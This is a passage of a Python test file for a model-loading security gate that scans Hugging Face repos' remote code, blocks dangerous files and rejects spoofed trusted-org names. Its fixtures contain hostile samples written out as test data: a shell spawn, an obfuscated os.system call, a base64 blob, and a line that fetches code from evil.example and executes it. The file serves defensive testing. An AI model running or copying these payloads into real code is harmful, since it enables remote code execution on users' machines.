"modeling.py", "check": "large-base64-blob"}] + + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}), + patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()), + ): + d1 = evaluate_remote_code_consent( + "third/medium", trust_remote_code = True, trusted_org = False + ) + d2 = evaluate_remote_code_consent( + "third/medium", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = d1.fingerprint, + ) + assert d1.blocked is True + assert d1.approvable is True + assert d1.max_severity == "MEDIUM" + assert d1.fingerprint + assert "MEDIUM" in d1.reason + assert d2.blocked is False + assert d2.reason == "approved by fingerprint" + + def test_fingerprint_changes_when_code_changes(self): + ((fn, body),) = _HIGH.items() + a1, b1 = _with_auto_map(_HIGH) + with a1, b1: + d1 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + tampered = {fn: body + "\n# changed\n"} + a2, b2 = _with_auto_map(tampered) + with a2, b2: + d2 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + assert d1.fingerprint != d2.fingerprint # pinned approval would re-prompt + + def test_unscannable_auto_map_blocked_fail_closed(self): + # Code is shipped but could not be fetched/listed (gated/offline/transient): + # repo_remote_code_files raises RemoteCodeUnscannable. Code we cannot see cannot + # be verified or fingerprinted, so fail closed (hard, non-approvable block). + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object( + consent, + "repo_remote_code_files", + side_effect = RemoteCodeUnscannable("gated"), + ), + ): + d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True) + assert d.has_remote_code is True + assert d.blocked is True + assert d.approvable is False + assert "could not be scanned" in d.reason + + def test_auto_map_with_no_executable_code_is_a_noop(self): + # auto_map declared but the repo ships no executable .py (listing succeeded, + # returns {}) -- e.g. a GGUF repo with a vestigial auto_map. Nothing to run, so + # trust_remote_code is a no-op and the load is allowed, not blocked. + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", return_value = {}), + ): + d = evaluate_remote_code_consent( + "unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True + ) + assert d.blocked is False + assert d.has_remote_code is False + assert "no-op" in d.reason + + +class TestWorkersWireTheGate: + """Each load worker must call the gate and emit a remote_code_blocked error.""" + + @pytest.mark.parametrize( + "rel", + [ + "core/training/worker.py", + "core/inference/worker.py", + "core/export/worker.py", + ], + ) + def test_worker_invokes_gate(self, rel): + src = (Path(__file__).resolve().parent.parent / rel).read_text() + assert "evaluate_remote_code_consent" in src + assert "remote_code_blocked" in src + assert ".blocked" in src + + def test_mlx_training_path_gates_before_load(self): + # The Apple-Silicon path returns before run_training_process's gate, so it must + # scan before FastMLXModel.from_pretrained runs repo code. + src = (_BACKEND / "core/training/worker.py").read_text() + head = src[: src.index("FastMLXModel.from_pretrained(")] + assert "evaluate_remote_code_consent" in head + + def test_lora_base_model_is_gated(self): + # Inference + export expand the consent scan to the LoRA base model's code. + for rel in ("core/inference/worker.py", "core/export/worker.py"): + src = (_BACKEND / rel).read_text() + assert "consent_targets" in src + assert "get_base_model_from_lora" in src or "mc.base_model" in src + + def test_remote_lora_base_is_resolved_in_gate_paths(self): + # validate / scan / training / export must resolve a remote adapter's base (not + # just a local dir) so it is scanned, not silently trusted. (Inference gets the + # resolved base from ModelConfig.base_model.) + for rel in ( + "routes/inference.py", + "routes/models.py", + "core/training/worker.py", + "core/export/worker.py", + ): + src = (_BACKEND / rel).read_text() + assert "get_base_model_from_lora_identifier" in src, rel + + def test_embedding_training_path_gates_before_load(self): + # The embedding pipeline must run the malware + consent gates before loading, like the other paths. + src = (_BACKEND / "core/training/worker.py").read_text() + start = src.index("def _run_embedding_training(") + end = src.index("FastSentenceTransformer.from_pretrained(", start) + region = src[start:end] + assert "evaluate_file_security" in region + assert "evaluate_remote_code_consent" in region + + +class TestCanonicalScannerSource: + """In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback.""" + + def test_canonical_scanner_loads_in_repo(self): + from utils.security.remote_code_scan import _load_canonical_scanner + + canon = _load_canonical_scanner() + assert canon is not None, "scripts/scan_packages.py must load in-repo" + assert hasattr(canon, "check_py_file") + + def test_gate_uses_canonical_combination_heuristics(self): + # Combination heuristics are unique to the canonical scanner: a reverse shell is + # CRITICAL there, proving the flat fallback is not in effect. + from utils.security.remote_code_scan import scan_remote_code_files + r = scan_remote_code_files(_CRITICAL) + assert r.max_severity == "CRITICAL" + + +class TestStructuredFindingsForDialog: + """The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers.""" + + def test_findings_payload_shape(self): + from utils.security.remote_code_scan import scan_remote_code_files + + payload = scan_remote_code_files(_HIGH).findings_payload() + assert payload + for f in payload: + assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f) + + def test_snippet_locates_line_and_highlights_match(self): + from utils.security.remote_code_scan import scan_remote_code_files + + src = ( + "import torch\n" # 1 + "\n" # 2 + "def build(expr):\n" # 3 + " fn = eval(expr)\n" # 4 <- flagged + " return fn\n" # 5 + ) + f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0] + assert f["line"] == 4 + rows = f["snippet"] + match = [r for r in rows if r["is_match"]] + assert len(match) == 1 and match[0]["number"] == 4 + # Precise column span isolates "eval(" within the line. + seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]] + assert seg == "eval(" + # Context window present on both sides (clamped at file edges). + assert any(r["number"] == 3 for r in rows) + assert any(r["number"] == 5 for r in rows) + + def test_preflight_surfaces_findings(self): + from utils.security import preflight_remote_code_consent + + a, b = _with_auto_map(_HIGH) + with a, b: + d = preflight_remote_code_consent("evil/Model", trusted_org = False) + assert d.has_remote_code is True + assert d.findings and d.fingerprint # structured findings for the UI + + def test_scan_route_uses_preflight(self): + src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text() + assert "remote-code-scan" in src + # The scan route pins one combined fingerprint over adapter + base, so adapter code is reviewed and approvable too. + assert "preflight_remote_code_consent_for_targets" in src + + def _run_scan_route(self, monkeypatch, *, adapter, base, in_cache): + """Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo) + decides whether a repo pre-existed in cache (so it is not reported scan-created).""" + import asyncio + + import routes.models as models_route + import utils.models.model_config as model_config + import utils.security as security + + monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n) + monkeypatch.setattr( + model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base + ) + monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n)) + monkeypatch.setattr( + security, + "preflight_remote_code_consent_for_targets", + lambda *_a, **_k: SimpleNamespace( + has_remote_code = False, + response_payload = lambda: {"has_remote_code": False, "approvable": True}, + ), + ) + monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ()) + monkeypatch.setattr( + security, + "evaluate_file_security", + lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []), + ) + return asyncio.run( + models_route.scan_model_remote_code( + model_name = adapter, hf_token = None, current_subject = "tester" + ) + ) + + def test_scan_route_reports_all_scan_created_repos(self, monkeypatch): + """A LoRA scan that pulls both adapter and base into cache reports every created + repo, so a decline purges all of them, not just the primary.""" + adapter, base = "someone/lora-adapter", "someone/base-model" + payload = self._run_scan_route( + monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False + ) + assert payload["scan_created_repos"] == [adapter, base] + assert payload["created_by_scan"] is True + + def test_scan_route_omits_repo_already_cached(self, monkeypatch): + """A base the user already had is not scan-created, so a decline purges only the new adapter.""" + adapter, base = "someone/lora-adapter", "someone/base-model" + payload = self._run_scan_route( + monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base + ) + assert payload["scan_created_repos"] == [adapter] + assert payload["created_by_scan"] is True + + def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch): + """When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos.""" + adapter, base = "someone/lora-adapter", "someone/base-model" + payload = self._run_scan_route( + monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter + ) + assert payload["scan_created_repos"] == [base] + assert payload["created_by_scan"] is False + + def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch): + """A remote adapter is reported scan-created even though resolving its base first + caches the adapter's own adapter_config.json. Otherwise the adapter (and the + auto_map .py the preflight fetched) is left on disk on decline. The static-lambda + tests above miss this by not modeling base resolution's side effect.""" + import asyncio + + import routes.models as models_route + import utils.models.model_config as model_config + import utils.security as security + import utils.security.remote_code_scan as rcs + + adapter, base = "someone/lora-adapter", "someone/base-model" + cached: set = set() # repos currently present in some HF cache + + def _get_base(name, token = None): + # Resolving the base downloads the ADAPTER's adapter_config.json first. + cached.add(adapter) + return base + + monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n) + monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base) + monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached) + monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set()) + monkeypatch.setattr( + security, + "preflight_remote_code_consent_for_targets", + lambda *_a, **_k: SimpleNamespace( + has_remote_code = True, + response_payload = lambda: {"has_remote_code": True, "approvable": True}, + ), + ) + monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ()) + monkeypatch.setattr( + security, + "evaluate_file_security", + lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []), + ) + payload = asyncio.run( + models_route.scan_model_remote_code( + model_name = adapter, hf_token = None, current_subject = "tester" + ) + ) + # The adapter must be purged on decline despite being cached mid-scan. + assert adapter in payload["scan_created_repos"] + assert base in payload["scan_created_repos"] + assert payload["created_by_scan"] is True + + @pytest.mark.parametrize( + "rel", + [ + "core/training/training.py", + "core/inference/orchestrator.py", + "core/export/orchestrator.py", + "routes/training.py", + "routes/inference.py", + "routes/export.py", + ], + ) + def test_fingerprint_threaded_to_worker(self, rel): + src = (Path(__file__).resolve().parent.parent / rel).read_text() + assert "approved_remote_code_fingerprint" in src + + +# Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable +# remote code without a prompt; it rejects local-path / spoofed names and fails closed. + + +def _fake_hfapi(resolved_id, author = "unsloth"): + api = MagicMock() + api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author) + return api + + +class TestIsTrustedOrgRepo: + """Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed.""" + + def test_accepts_genuine_unsloth_repo(self): + with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")): + assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True + + def test_accepts_genuine_nvidia_repo(self): + with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")): + assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True + + def test_local_path_spoofs_rejected(self): + # Names that look trusted after stripping but are local paths. + for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]: + assert is_trusted_org_repo(n, verify_remote = False) is False, n + + def test_rejects_local_path_even_if_is_local_path_says_so(self): + # Defensive: a bare "unsloth/x" that resolves as a local dir must fail. + with patch("utils.security.trusted_org.is_local_path", return_value = True): + assert is_trusted_org_repo("unsloth/x") is False + + def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch): + # A local dir literally named "unsloth/evil" must be rejected before any Hub call, even with remote verify on. + monkeypatch.chdir(tmp_path) + (tmp_path / "unsloth" / "evil").mkdir(parents = True) + clear_cache() + with patch("huggingface_hub.HfApi") as Api: + assert is_trusted_org_repo("unsloth/evil") is False + Api.assert_not_called() + + def test_untrusted_namespaces_rejected(self): + for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]: + assert is_trusted_org_repo(n, verify_remote = False) is False, n + + def test_malformed_names_rejected(self): + for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]: + assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n) + + def test_rejects_when_resolved_owner_is_not_trusted(self): + # Name says unsloth/ but the Hub resolves it elsewhere -> fail closed. + with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")): + assert is_trusted_org_repo("unsloth/x") is False + + def test_fails_closed_when_hub_raises(self): + for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")): + clear_cache() + api = MagicMock() + api.return_value.model_info.side_effect = exc + with patch("huggingface_hub.HfApi", api): + assert is_trusted_org_repo("unsloth/maybe-real") is False + + def test_offline_trusts_shape_without_hub(self, monkeypatch): + # Offline: trust the namespace shape without ever touching the Hub. + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + clear_cache() + with patch("huggingface_hub.HfApi") as Api: + assert is_trusted_org_repo("unsloth/Local-Cached") is True + assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True + assert is_trusted_org_repo("evil/x") is False + Api.assert_not_called() + + def test_token_failure_does_not_poison_authed_lookup(self): + # Cache is keyed by token: an unauthenticated failure must not poison a later authed call. + clear_cache() + api = MagicMock() + api.return_value.model_info.side_effect = [ + Exception("401 gated"), # no token -> fails closed + SimpleNamespace(id = "unsloth/Private", author = "unsloth"), # token -> resolves + ] + with patch("huggingface_hub.HfApi", api): + assert is_trusted_org_repo("unsloth/Private") is False + assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True + + +class TestNemotronGateUsesTrustCheck: + """The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables.""" + + @pytest.mark.parametrize( + "rel", + [ + "core/training/worker.py", + "core/inference/worker.py", + "core/export/worker.py", + ], + ) + def test_worker_nemotron_block_calls_trust_check(self, rel): + src = (_BACKEND / rel).read_text() + assert "_NEMOTRON_TRUST_SUBSTRINGS" in src + assert "is_trusted_org_repo(" in src + + def test_gate_predicate_blocks_spoof_allows_trusted(self): + # Reproduce the worker predicate with the REAL is_trusted_org_repo. + subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano") + + def gate(name): + low = name.lower() + return ( + any(s in low for s in subs) + and (low.startswith("unsloth/") or low.startswith("nvidia/")) + and is_trusted_org_repo(name, verify_remote = False) + ) + + with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}): + clear_cache() + assert gate("unsloth/Nemotron-H-8B") is True + clear_cache() + assert gate("evil/nemotron_h-backdoor") is False # spoofed namespace + assert gate("unsloth/llama-3-8b") is False # not nemotron + + +# Raw scanner behaviour + coverage: scan_remote_code_files flags dangerous patterns +# and agrees with the CI auditor; repo_remote_code_files must scan every .py the +# loader could execute and fail closed on a partial remote snapshot. + +_SCAN_MALICIOUS = ( + "import os, subprocess, urllib.request, base64\n" + "subprocess.Popen(['/bin/sh', '-c', 'id'])\n" + "exec(urllib.request.urlopen('http://evil.example/x').read())\n" + "__import__('o' + 's').system('whoami')\n" + "BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n" +) +_SCAN_BENIGN = ( + "import torch\nfrom torch import nn\n" + "from transformers import PreTrainedModel\n" + "class DeepseekOCRForCausalLM(PreTrainedModel):\n" + " def forward(self, x):\n return self.proj(x)\n" +) + + +class TestRemoteCodeScan: + def test_flags_malicious(self): + res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS}) + assert not res.clean + assert res.max_severity in (CRITICAL, HIGH) + assert res.findings + assert should_block_remote_code(res) is True + + def test_benign_is_clean(self): + res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN}) + assert res.clean, res.summary() + assert should_block_remote_code(res) is False + + def test_only_python_is_scanned(self): + res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS}) + assert res.clean + + def test_fingerprint_stable_and_sensitive(self): + a = remote_code_fingerprint({"m.py": _SCAN_BENIGN}) + b = remote_code_fingerprint({"m.py": _SCAN_BENIGN}) + c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"}) + assert a == b + assert a != c + + def test_scanner_faithful_to_scan_packages(self): + # The vendored load-time scanner agrees with the CI auditor that the file is dangerous. + sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py" + if not sp.is_file(): + pytest.skip("scan_packages.py not present") + import importlib.util + + spec = importlib.util.spec_from_file_location("scan_packages_probe", sp) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0 + assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean + + +class TestScannerCoversAllExecutableCode: + """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code.""" + + def test_local_scan_is_recursive(self, tmp_path): + # A nested helper module (imported by modeling_*.py) must be scanned too. + (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}') + (tmp_path / "modeling_x.py").write_text("from .helpers import sub\n") + nested = tmp_path / "helpers" + nested.mkdir() + (nested / "sub.py").write_text("import os\nos.system('id')\n") + files = repo_remote_code_files(str(tmp_path)) + assert "modeling_x.py" in files + assert str(Path("helpers") / "sub.py") in files + + def test_remote_partial_download_is_unscannable(self): + # config.json fetches but a referenced .py 404s: a partial set would fingerprint + # "clean" while transformers later runs the missing file, so fail closed. + def _dl( + repo, + fn, + token = None, + ): + if fn == "config.json": + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}})) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # repo ships no tokenizer/processor config + raise RuntimeError("download failed") # the referenced .py cannot be fetched + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]), + ): + with pytest.raises(RemoteCodeUnscannable): + repo_remote_code_files("third/party") + + def test_external_auto_map_repo_is_scanned(self): + # auto_map can point at code in another repo (owner/name--module.Class) that + # transformers fetches + runs, so the scanner must download it from that repo. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + ) + elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py": + p.write_text("import os\nos.system('id')\n") + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config + else: + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + return str(p) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = []), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--modeling_evil.py" in files + assert not scan_remote_code_files(files).clean # the external code is flagged + + def test_external_auto_map_helper_imports_are_scanned(self): + # transformers fetches the external entry AND its relative imports, so the scanner + # must download the whole external .py closure -- a benign entry importing a + # dangerous helper.py must still be flagged. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + ) + elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py": + p.write_text("from .helper import run\n") # benign entry, imports helper + elif repo == "evilorg/evilrepo" and fn == "helper.py": + p.write_text("import os\nos.system('id')\n") # the dangerous import + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + else: + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + return str(p) + + def _list(repo, token = None): + if repo == "evilorg/evilrepo": + return ["modeling_evil.py", "helper.py"] + return [] # victim/model own repo ships no .py (code is all external) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", side_effect = _list), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--helper.py" in files # the imported helper was scanned + assert not scan_remote_code_files(files).clean # helper's os.system is flagged + + def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self): + # A config names an own-repo .py the repo no longer ships (a stale ref, e.g. + # PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py). + # The absent file cannot run, so ignore it and scan the present .py, not fail closed. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text(json.dumps({"model_type": "x"})) + elif fn == "tokenizer_config.json": + p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}})) + elif fn == "processing_paddleocr_vl.py": + p.write_text("import torch\n") # the real, present file + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + else: + raise RuntimeError(f"stale/absent file must not be fetched: {fn}") + return str(p) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"], + ), + ): + files = repo_remote_code_files("unsloth/PaddleOCR-VL") + assert files != {}, "must not fail closed: present .py are scannable" + assert "processing_paddleocr_vl.py" in files # present file scanned + assert "processing_ppocrvl.py" not in files # stale ref ignored, never fetched + + def test_present_referenced_py_fetch_failure_still_fails_closed(self): + # The stale-ref relaxation must not weaken the present-file guarantee: a listed .py + # that cannot be fetched (transient) still fails closed, since transformers would run it. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + if fn == "config.json": + p = Path(tempfile.mkdtemp()) / fn + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}})) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + raise RuntimeError( + "transient fetch failure" + ) # modeling_x.py is present but unfetchable + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]), + ): + with pytest.raises(RemoteCodeUnscannable): # present-but-unfetchable -> fail closed + repo_remote_code_files("third/party") + + def test_external_tokenizer_auto_map_list_is_scanned(self): + # transformers encodes a tokenizer auto_map as a [slow, fast] list, e.g. + # {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}; the external code + # in the list must be fetched + scanned, not skipped for being a list. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text(json.dumps({"model_type": "llama"})) + elif fn == "tokenizer_config.json": + p.write_text( + json.dumps( + { + "auto_map": { + "AutoTokenizer": [ + "evilorg/evilrepo--tokenization_evil.EvilTokenizer", + None, + ] + } + } + ) + ) + elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py": + p.write_text("import os\nos.system('id')\n") + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # victim repo ships no image/processor config + else: + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + return str(p) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = []), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--tokenization_evil.py" in files + assert not scan_remote_code_files(files).clean # the external tokenizer code is flagged + + def test_unreachable_external_ref_is_unscannable(self): + # If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + if fn == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + ) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config + raise RuntimeError("download failed") # the external repo's .py is unreachable + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = []), + ): + with pytest.raises(RemoteCodeUnscannable): + repo_remote_code_files("victim/model") + + def test_unrelated_local_py_is_still_scanned(self, tmp_path): + # Deliberate broad scan (not narrowed to the import closure): a .py the entry does + # not statically import is still scanned, since the entry can reach it via + # importlib / exec / absolute import. Closure-only scanning would be a bypass. + (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}') + (tmp_path / "modeling_ok.py").write_text("import torch\n") # benign entry, imports nothing + (tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n") # never imported + files = repo_remote_code_files(str(tmp_path)) + assert "unrelated.py" in files # scanned despite not being referenced by auto_map + assert not scan_remote_code_files(files).clean # its os.system is flagged + + def test_external_mis_derived_dotted_ref_dropped_when_real_present(self): + # A subpackage ref "evilorg/evilrepo--pkg.modeling_evil.M" derives + # "pkg.modeling_evil.py", but the real file is "pkg/modeling_evil.py" (present). + # The mis-derived name must be dropped (not fetched and failed closed) while the + # present file is scanned, like the own-repo stale-ref guard. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + if fn == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}}) + ) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py": + p = Path(tempfile.mkdtemp()) / "modeling_evil.py" + p.write_text("import os\nos.system('id')\n") + return str(p) + # The mis-derived dotted name must never be fetched. + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + + def _list(repo, token = None): + if repo == "evilorg/evilrepo": + return ["pkg/modeling_evil.py"] + return [] # victim/model ships no own .py + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", side_effect = _list), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--pkg/modeling_evil.py" in files # real file scanned + assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files # mis-derived dropped + assert not scan_remote_code_files(files).clean # os.system flagged + + def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path): + # Decline cleanup needs the external auto_map repo ids so their code is not left + # cached; external_auto_map_repos lists the repos a config references. + from utils.security.remote_code_scan import external_auto_map_repos + + (tmp_path / "config.json").write_text( + '{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}' + ) + (tmp_path / "tokenizer_config.json").write_text( + '{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}' + ) + repos = external_auto_map_repos(str(tmp_path)) + assert repos == {"evilorg/evilrepo", "other/repo"} + + # A config with only own-repo code yields no external repos. + (tmp_path / "plain").mkdir() + (tmp_path / "plain" / "config.json").write_text( + '{"auto_map": {"AutoModel": "modeling_local.M"}}' + ) + assert external_auto_map_repos(str(tmp_path / "plain")) == set() + + def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self): + # A GGUF repo whose config.json has a vestigial auto_map but ships no .py: the + # listing succeeds with nothing to run, so the result is an empty dict, not a + # raise (which would false-block). Real shape of a Nemotron-Ultra GGUF. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text( + json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}}) + ) + return str(p) + raise EntryNotFoundError(fn) # no other config, and modeling_decilm.py is absent + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model-00001-of-00097.gguf"], + ), + ): + files = repo_remote_code_files("unsloth/Some-Model-GGUF") + assert files == {} # no executable code -> empty (no raise) + + def test_tokenizer_only_auto_map_is_gated(self, tmp_path): + # config.json is plain but tokenizer_config.json declares auto_map: an + # AutoTokenizer(trust_remote_code=True) load runs that code, so scan + block it. + from utils.security import preflight_remote_code_consent + + (tmp_path / "config.json").write_text('{"model_type": "llama"}') + (tmp_path / "tokenizer_config.json").write_text( + '{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}' + ) + (tmp_path / "tokenization_evil.py").write_text( + "import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n" + ) + d = preflight_remote_code_consent(str(tmp_path), trusted_org = False) + assert d.has_remote_code is True + assert d.blocked is True + assert d.fingerprint + + def test_config_file_list_covers_transformers_auto_map_sources(self): + # transformers reads auto_map only from a fixed set of config files (filename + # constants). Pin our scanned set to those exact constants from the installed + # transformers, so an upgrade that adds/renames an auto_map config trips here + # instead of silently leaving its code unscanned. + from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE + from transformers.utils import ( + CONFIG_NAME, + FEATURE_EXTRACTOR_NAME, + IMAGE_PROCESSOR_NAME, + PROCESSOR_NAME, + VIDEO_PROCESSOR_NAME, + ) + + expected = { + CONFIG_NAME, # AutoConfig / AutoModel + TOKENIZER_CONFIG_FILE, # AutoTokenizer + FEATURE_EXTRACTOR_NAME, # AutoFeatureExtractor (preprocessor_config.json) + IMAGE_PROCESSOR_NAME, # AutoImageProcessor (preprocessor_config.json) + PROCESSOR_NAME, # AutoProcessor + VIDEO_PROCESSOR_NAME, # AutoVideoProcessor + } + missing = expected - set(REMOTE_CODE_CONFIG_FILES) 